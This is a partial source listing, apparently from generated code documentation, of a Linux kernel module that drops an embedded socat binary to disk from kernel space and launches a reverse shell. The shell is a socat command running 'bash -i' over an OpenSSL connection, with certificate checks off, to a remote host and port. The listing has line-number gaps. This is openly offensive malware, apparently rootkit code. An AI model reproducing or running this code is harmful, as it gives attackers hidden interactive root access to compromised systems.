3#include <linux/completion.h>
8#include <linux/kthread.h>
9#include <linux/sched.h>
10#include <linux/slab.h>
11#include <linux/uaccess.h>
34 DBG_MSG(
"drop_socat_binaire: socat binary already dropped\n");
43 ERR_MSG(
"drop_socat_binaire: failed to open file: %ld\n", PTR_ERR(f));
47 unsigned int written = kernel_write(f,
socat, socat_len, &pos);
49 ERR_MSG(
"drop_socat_binaire: kernel_write failed: %u\n", written);
53 else if (written < socat_len) {
54 ERR_MSG(
"drop_socat_binaire: only %u bytes written, expected %u\n", written,
60 DBG_MSG(
"socat written successfully (%u bytes)\n", written);
75 ERR_MSG(
"remove_socat_binaire: failed to remove socat binary\n");
78 DBG_MSG(
"remove_socat_binaire: socat binary removed successfully\n");
85 ERR_MSG(
"launch_reverse_shell: socat binary not dropped\n");
92 if (args && strlen(args) > 0)
93 port = simple_strtol(args, NULL, 10);
97 snprintf(cmd,
sizeof(cmd),
98 "%s exec:'bash -i',pty,stderr,setsid,sigint,sane "
99 "openssl-connect:%s:%d,verify=0 &",
106 ERR_MSG(
"launch_reverse_shell: failed to start reverse shell on port %d\n",
111 DBG_MSG(
"launch_reverse_shell: reverse shell started on port %d\n",
port);
#define ERR_MSG(fmt, args...)
#define DBG_MSG(fmt, args...)
#define REVERSE_SHELL_PORT
#define SOCAT_BINARY_PATH
static struct dentry * file
#define exec_str_as_command(user_cmd, catch_stds)
#define exec_str_as_command_no_timeout(user_cmd, catch_stds)
static int is_socat_binaire_dropped(void)
int drop_socat_binaire(void)
int remove_socat_binaire(void)
int launch_reverse_shell(char *args)